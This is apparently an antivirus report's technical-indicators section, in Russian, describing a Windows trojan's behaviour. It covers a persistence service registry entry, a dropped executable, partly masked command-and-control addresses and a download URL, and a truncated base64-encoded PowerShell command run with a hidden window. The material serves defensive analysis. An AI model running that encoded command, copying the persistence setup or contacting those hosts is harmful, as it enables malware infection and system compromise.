Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iabmedia] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iabmedia] 'ImagePath' = '"%WINDIR%\SysWOW64\iabmedia.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAATgBjAGIAdgBzAG4AbABpACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAEEAaABmAGsAaABnAGoAcQByAHoAIAAjAD4AIAAkAEwAbQBpAGsAZABwAGoAdgA9ACcAUABvAGUAYwBnAHEAawBsA...
- %HOMEPATH%\956.exe
- %HOMEPATH%\956.exe в %WINDIR%\syswow64\iabmedia.exe
- '18#.#31.163.89':7080
- '85.##4.121.33':8443
- http://th###aosi.vn/wp-includes/bf0v-fa9x-93/
- http://85.###.121.33:8443/usbccid/
- DNS ASK th###aosi.vn
- '%HOMEPATH%\956.exe'
- '%WINDIR%\syswow64\iabmedia.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en PAAjACAATgBjAGIAdgBzAG4AbABpACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAEEAaABmAGsAaABnAGoAcQByAHoAIAAjAD4AIAAkAEwAbQBpAGsAZABwAGoAdgA9ACcAUABvAGUAYwBnAHEAawBsA...' (со скрытым окном)